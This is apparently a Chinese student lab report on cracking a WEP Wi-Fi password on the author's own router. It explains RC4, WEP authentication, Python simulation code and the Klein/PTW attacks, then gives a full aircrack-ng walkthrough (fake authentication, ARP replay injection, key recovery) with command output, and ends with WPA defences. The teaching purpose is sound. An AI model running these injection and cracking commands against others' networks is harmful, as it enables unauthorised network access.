title: WEP口令实验
date: 2022-04-25 18:35:22
tags:

  • 密码

WEP Wi-Fi口令攻击实验

实验目的

  • 了解WEP认证协议流程和其安全缺陷。
  • 掌握协议攻击原理和流密码的应用。

实验环境配置

AP配置

  PHICOMM裴讯K2路由器,刷机华硕固件。AP加密模式为WEP- Open System,口令设置为WEPAttackTest

image-20220425092421608

攻击环境

  macOS Monterey主机 + Kali虚拟机 + USB外置网卡。

截屏2022-04-20 下午8.27.26

image-20220423222229656

实验要求

  1. 通过arp欺骗获取口令(俗称密码)
  2. 编程实现WEP认证协议
  3. 解析口令获取的原理和过程
  4. 分析WAP认证协议如何抵抗该攻击方法

原理分析

WEP协议的安全性依赖于RC4加密算法的安全性,同时IEEE802.11协议的一些安全问题使攻击更容易完成。

RC4加密分析

  RC4的本质是流密码的异或加密,为了获取与明文等长的密钥流,使用了两个算法:Key Scheduling Algorithm(RC4-KSA)Pseudo Random Generator Algorithm(PRGA)

  RC4使用一个长度为256的字节数组S,每次从中随机选择一位作为密钥流的一部分。可以看出密钥流的生成本质是随机数的生成,使用密钥作为初始种子,通过算法去不断迭代生成随机密钥流。

  密钥调度算法KSA的处理过程如下:
$$
\begin{aligned}
&for \quad i = 0 \quad to \quad{n-1} \quad do\
&\quad S[i] = i\
&end\
&for \quad i = 0 \quad to \quad{n-1} \quad do\
&\quad j = RND(n)\
&\quad swap(S,i,j)\
&end\
\end{aligned}
$$
  伪随机数生成算法PRGA的处理过程如下:
$$
\begin{aligned}
&i=0\
&j=0\
&loop\
&\quad i = i + 1 \mod n\
&\quad j = RND(n)\
&\quad swap(S,i,j)\
&\quad print \ S[S[i]+S[j] \mod n]\
&end \ loop\
\end{aligned}
$$
  PRGA可以是一个无限长的循环,循环次数取决于需要加密的数据长度,每循环一次生成一位密钥字节,最终得到与明文等长的密钥流,与明文逐个字节进行异或处理,就得到了密文。

WEP认证分析

  为了使密钥具有随机性,WEP引入了初始向量initialization vector(IV),把IV添加到密钥头生成新的密钥,这样每次用来生成密钥流的随机种子都会不同,以增强协议的安全性。
image-20220423233311891

  1. STA向AP发送Authentication Request认证请求。
  2. AP生成一个随机字符串(challenge),明文发送给STA。
  3. STA使用密钥加密challenge,把密文发给AP。
  4. AP使用正确密钥解密STA发来的密文,如果解密后的数据和challenge相同,返回认证成功响应,否则返回失败响应。

编程模拟WEP认证过程

使用scapy库可以完成网卡发包,完全仿真WEP认证过程。由于没有充足的时间,暂时使用socket实现STA和AP间通信。

  • RC4.py — 完成RC4加密及解密
# -*- coding: UTF-8 -*-
class RC4:
    n = 256
    __S = [i for i in range(n)]
    __T = []
    __K = list()
    l = 0

    def __init__(self, key: str):
        self.__K = key.encode()
        self.l = len(self.__K)

        self._KSA()

    def _KSA(self) -> None:
        j = 0
        for i in range(self.n):
            j = (j + self.__S[i] + self.__K[i % self.l]) % self.n
            self.__S[i], self.__S[j] = self.__S[j], self.__S[i]

    def PRGA(self, length) -> None:
        i = 0
        j = 0
        key_stream = []
        self.__T = self.__S.copy()
        while length:
            i = (i + 1) % self.n
            j = (j + self.__T[i]) % self.n
            self.__T[i], self.__T[j] = self.__T[j], self.__T[i]
            k = (self.__T[i] + self.__T[j]) % self.n
            key_stream.append(self.__T[k])
            length -= 1
        return key_stream

    def encrypt(self, plaintext) -> str:
        key_stream = self.PRGA(len(plaintext))
        plain_stream = plaintext.encode()
        cipher = ''
        for i in range(len(plaintext)):
            cipher += hex(plain_stream[i] ^ key_stream[i]).upper()[2:].rjust(2, '0')
        return cipher

    def decrypt(self, ciphertext: str) -> str:
        cipher_byte = [int(ciphertext[i:i + 2], 16) for i in range(0, len(ciphertext), 2)]
        key_stream = self.PRGA(len(cipher_byte))
        plain = ''
        for i in range(len(cipher_byte)):
            plain += chr(cipher_byte[i] ^ key_stream[i])
        return plain
  • STA.py — 模拟认证终端
# -*- coding: UTF-8 -*-
import socket
from RC4 import RC4

client = socket.socket()
client.connect(('127.0.0.1', 6968))
rc4 = RC4('Mirage')

# 1. 发起认证请求
print('1. Send AuthenticationRequest')
data = "AuthenticationRequest"
client.send(bytes(data, encoding="utf-8"))
data = client.recv(1024)
data = data.decode()

# 2. 发送加密后的字符串
if data.startswith('AuthenticationChallenge'):
    challenge = data[23:]
    cipher = rc4.encrypt(challenge)
    print('2. Use RC4 to encrypt the challenge:', challenge)
    client.send(cipher.encode())
    data = client.recv(1024)
    data = data.decode()
    print('3.', data)
  • AP.py — 模拟AP路由
# -*- coding: UTF-8 -*-
from RC4 import RC4
import random
import socket

def random_generator(length: int) -> str:
    return ''.join(random.sample(
        ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
         'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'], length
    ))

rc4 = RC4('Mirage')

server = socket.socket()
server.bind(("127.0.0.1", 6968))
server.listen()

tmp = dict()

while True:
    con, addr = server.accept()
    while True:
        data = con.recv(1024)
        if not data:
            break
        data = data.decode()

        if data == 'AuthenticationRequest':
            challenge = random_generator(20)
            tmp[addr[0]] = challenge
            print(addr[0], challenge)
            con.send(('AuthenticationChallenge' + challenge).encode())
        else:
            print(rc4.decrypt(data))
            print(tmp.get(addr[0]))
            if rc4.decrypt(data) == tmp.get(addr[0]):
                print(str(addr), 'AuthenticationResponseSuccess')
                con.send('AuthenticationResponseSuccess'.encode())
            else:
                print(str(addr), 'AuthenticationResponseFail')
                con.send('AuthenticationResponseFail'.encode())

与RC4无关的攻击

  • 认证攻击

    攻击者通过捕获STA和AP之间交换的认证数据包,构造新的合法认证。aireplay-ng工具实现了该攻击,-1为该攻击模式。

  • 数据包注入攻击

    攻击者捕获WEP网络的数据包,一段时间后重放,分为普通注入和ARP注入。本次实验使用到大量ARP包,aireplay-ng工具的-3模式为ARP重放注入攻击。由于WEP协议没有重复IV过滤机制,导致只要抓到一个ARP请求,攻击者就可以大量复制该请求包并重放来抓取AP的ARP响应。

与RC4有关的攻击

  • FMS攻击、KoreK攻击

    需要较多的计算资源,并未对WEP协议造成致命打击,不在此详细介绍。

  • Klein攻击

    该攻击利用Jenkis关联,可以证明:$Prob(K[l] = S_l{-1}(l - X[l-1] - j_l - S_l[l]) = q(2/n) + (1-q)((n-2)/n(n-1))$大约为$1.3676/n$,其中,$q=(1-1/n){n-2}$。

    攻击形式为:
    $$
    F_{Klein}(K[0],K[1],\cdots,K[l-1],X[l-1]) = S_l^{-1}[l-X[l-1]] - j_l - S_l[l]
    $$

  • PTW攻击

    PTW攻是WEP安全性的分水岭,在此之前的攻击要么因为需要大量数据包要么需要大量计算而具有较高的攻击门槛,而PTW攻击只需要使用几千到几万个ARP包并用少量的计算就能攻破密码。

    该攻击的主要思想为由决定密钥单个字节改变决定$\sigma_i = \sum\limits_{m=0}^iRk[m]$。

  • 将Klein攻击扩展为2个密钥Byte的和。可以证明:$Prob(K[l]+K[l+1]=S_l{-1}(l+1-X[l])-j_l-S_l[l]-S_l[l+1])$为$q_2((n-1)/n){n-2}(2/n)+(1-q_2((n-1)/n){n-2})((n-2)/n(n-1))$。其中,$q_2$为$((n-1)/n)3$。

    PTW2攻击形式为:
    $$
    F_{PTW2}(K[0],K[1],\cdots,K[l-1],X[l]) = S_l^{-1}[l+1-X[l]] - j_l - S_l[l] - S_l[l+1]
    $$

  • 继续扩展为m个密钥Byte的和。可以证明:

    $$
    Prob(\sum{a=l}{l+m-1}K[a] = S_l{-1}(l+m+1-X[l+m-2])-j_l-\sum{a=l}{l+m-1}S_l[a])
    $$
    为$q_m((n-1)/n)
    {n-2}(2/n)+(1-q_m((n-1)/n){n-2})((n-2)/n(n-1))$。其中,$q_m$为$(\frac {n-1}{n}){m-1}(\frac{n-m+1}{n})\mathop{\Pi}\limits_{a=1}^{m-1}(\frac{n-a}{n})$。

    PTW攻击形式为:
    $$
    F_{PTWm}(K[0],K[1],\cdots,K[l-1],X[l+m-2]) = S_l{-1}[l+m-1-X[l+m-2]] - j_l - \sum\limits_{a=l}{l+m-1}S_l[a]
    $$

实验步骤

确认目标

  1. 在MacOS上使用airport工具扫描附近AP,确认攻击目标所在信道。扫描命令为:

    airport -s
    

    image-20220422200002182

    或在Kali中使用airodump-ng工具扫描,确认目标信道及MAC后再锁定网卡信道。

  2. 在kali虚拟机中将网卡开启监听模式,同时锁定目标信道。

    airmon-ng start wlan0 13
    

    使用iwconfig命令确认网卡是否开启monitor模式。

  3. 测试注入可行性

    -9 注入测试模式
    -e 目标ESSID
    -a 目标MAC

    ┌──(root㉿kali)-[/home/kali/Desktop]
    └─# aireplay-ng -9 -e Mirage -a 74:7D:24:AC:83:C0 wlan0mon
    09:35:07  Waiting for beacon frame (BSSID: 74:7D:24:AC:83:C0) on channel 13
    09:35:07  Trying broadcast probe requests...
    09:35:07  Injection is working!
    09:35:09  Found 1 AP 
    
    09:35:09  Trying directed probe requests...
    09:35:09  74:7D:24:AC:83:C0 - channel: 13 - 'Mirage'
    09:35:09  Ping (min/avg/max): 1.546ms/11.259ms/36.031ms Power: -42.69
    09:35:09  29/30:  96%
    

监听目标

  1. 使用airodump-ng抓包

    -c 指定监听信道

    –bssid 指定监听目标MAC

    -w 保存的抓包数据文件名

    ┌──(root㉿kali)-[/home/kali/Desktop]
    └─# airodump-ng -c 13 --bssid 74:7D:24:AC:83:C0 -w crackPKT wlan0mon
    09:57:34  Created capture file "crackPKT-01.cap".
    
    CH 13 ][ Elapsed: 4 mins ][ 2022-04-23 10:01 ][ Are you sure you want to quit? Press Q agai 
    
    BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID         
    
    74:7D:24:AC:83:C0  -65   0     1621    35813   54  13   54e. WEP  WEP    OPN  Mirage        
    
    BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes           
    
    74:7D:24:AC:83:C0  D0:5A:FD:F0:4E:09  -18    1e- 1e     0    36064               74:7D:24:AC:83:C0  70:F1:1C:3D:6E:41  -60    6 - 1   3942   138117 
    

重放注入攻击

  1. 使用aireplay-ng建立一个虚假认证。

    -1 虚假认证攻击
    6000 每隔6000秒重新发起一次认证
    -o 1 每次认证只发送一个包, 默认发送多个
    *-q 10 * 每隔10秒发送一次keep-alive请求

    ┌──(root㉿kali)-[/home/kali/Desktop]
    └─# aireplay-ng -1 6000 -o 1 -q 10 -e Mirage -a 74:7D:24:AC:83:C0 -h 70:f1:1c:3d:6e:41 wlan0mon
    09:58:04  Waiting for beacon frame (BSSID: 74:7D:24:AC:83:C0) on channel 13
    
    09:58:04  Sending Authentication Request (Open System) [ACK]
    09:58:04  Authentication successful
    09:58:04  Sending Association Request
    09:58:04  Association successful :-) (AID: 1)
    
    09:58:14  Sending keep-alive packet [ACK]    
    09:58:24  Sending keep-alive packet [ACK]
    
  2. 开始ARP重放攻击,制造大量ARP请求

  3. -3 ARP注入攻击模式

    -b 目标MAC

    -h 本机MAC

    ┌──(root㉿kali)-[/home/kali/Desktop]
    └─# aireplay-ng -3 -b 74:7D:24:AC:83:C0 -h 70:f1:1c:3d:6e:41 wlan0mon 
    09:58:29  Waiting for beacon frame (BSSID: 74:7D:24:AC:83:C0) on channel 13
    Saving ARP requests in replay_arp-0423-095829.cap
    You should also start airodump-ng to capture replies.
    Read 194286 packets (got 73132 ARP requests and 42780 ACKs), sent 73276 packets...(499 pps)
    

破解密码

  1. 使用aircrack-ng解密捕获的数据包(默认使用PTW攻击破解,如需FMS/KoreK攻击使用-K参数)

    –bssid 需要解密的AP的BSSID

    ┌──(root㉿kali)-[/home/kali/Desktop]
    └─# aircrack-ng --bssid 74:7D:24:AC:83:C0 crackPKT*.cap                                               
    Reading packets, please wait...
    Opening crackPKT-01.cap
    Read 257915 packets.
    
    1 potential targets                  Got 35812 out of 35000 IVsStarting PTW attack with 35812 ivs.
    
    Attack will be restarted every 5000 captured ivs.
    
                                             Aircrack-ng 1.6 
                               [00:00:00] TesAircrack-ng 1.6  (got 30170 IVs)
                               [00:00:00] Tested 1632001 keys (got 30170 IVs)
      KB    depth   byte(vote) [00:00:00] Tested 1785601 keys (got 30170 IVs)
      KB    depth   byte(vote)D[00:00:01] Tested 314088 keys (got 35812 IVs)
      KB    depth   byte(vote)DD(37376) 2B(37120) 43(36608) 0E(36096) 23(36096) CE(36096) 
      KB    depth   byte(vote)DD(37376) 2B(37120) 43(36608) 0E(36096) 23(36096) CE(36096) 
       0    0/  1   57(50176) 23(44800) E5(44544) 43(43776) D7(43776) DD(43520) 0E(43008) 
       1    0/  1   45(46080) 84(42496) 86(42496) 94(41984) 83(41728) 2B(41472) 6A(41472) 
       2    0/  1   50(52736) EB(45824) CA(44288) F9(43264) 17(42496) 85(42496) 8B(42496) 
       3    0/  1   41(49408) EE(44288) 2E(43008) A7(43008) E7(42496) 34(42240) 30(41984) 
       4    0/  1   74(54528) E7(44544) 73(43520) 64(43264) D7(43264) 9A(42496) AD(41728) 
       5    0/  2   CD(44800) 15(44544) 70(41984) 89(41984) FC(41984) 80(41728) A1(41472) 
       6    0/  1   61(46848) 04(44800) 51(43008) 01(42752) 81(41728) B9(41728) F4(41728) 
       7    0/  1   63(46848) 3D(44544) 1A(43520) 9E(43520) 3B(42496) 5C(42496) 7B(42496) 
       8    0/  1   6B(46336) DF(44032) CE(42496) 10(42240) 74(42240) 0B(41472) 4D(41472) 
       9    0/  2   54(42496) 89(42496) 3F(42240) 7E(41984) 8C(41728) D2(41728) 07(41216) 
      10    5/  1   C6(43008) 11(42496) A4(42240) F0(42240) 14(41984) CD(41984) 56(41728) 
      11    9/  1   A0(40960) DA(40960) 20(40704) 82(40704) 28(40448) 6D(40448) 73(40448) 
      12    0/  2   74(45172) 7E(45100) 82(44768) 98(43592) 3C(42896) 89(42536) 60(41988) 
    
        KEY FOUND! [ 57:45:50:41:74:74:61:63:6B:54:65:73:74 ] (ASCII: WEPAttackTest )
           Decrypted correctly: 100%
    

实验分析

实验结果

  经测试,在捕捉到大量数据包的情况下,对于13位的字母密钥,PTW攻击只用了几秒钟便成功破解,在ARP重放攻击下,捕获这些数据包也仅仅用了几分钟。

  WEP引入IV本意是增强协议安全性,但反倒可以根据IV和猜测到的明文数据反推出部分密钥流,从而更容易地攻破密码。

分析WPA改进

The Temporal Key Integrity Protocol(TKIP)

  临时密钥完整性协议(TKIP)可以被视为WEP的一个经过大量修改的版本。TKIP仍然使用RC4流密码,但比WEP安全得多。TKIP的设计目标并不是一个尽可能安全的协议。取而代之的是对WEP的修改,它可以防止所有已知的攻击,提供相当高的安全级别,并且可以在大多数现有硬件上使用,只需安装驱动程序或固件更新。

替换RC4为AES

  AES密码可以在计数器模式counter mode(CCMP)下用于加密网络传输并保护器完整性。这完全取代了RC4流密码算法,并提供了非常高的安全级别。目前,AES中还没有已知的可实现弱点。

密钥管理

  IEEE 802.11增加了企业级密钥管理,允许多种认证模式。STA不再需要一个单独的秘密预共享密钥,而是需要用户名和密码、智能卡、证书、硬件密码器和其他身份验证协议。除了广播, 每个站点都使用单独的密钥与接入点通信,因此同一网络中的另一个站点不再可能进行窃听。

参考文献

Attacks on the WEP protocol

A. Klein. Attacks on the RC4 stream cipher. Designs, Codes and Cryptography, 48(3):269–286, 2008.

密码分析学——深度分析WEP密钥恢复攻击(PTW攻击)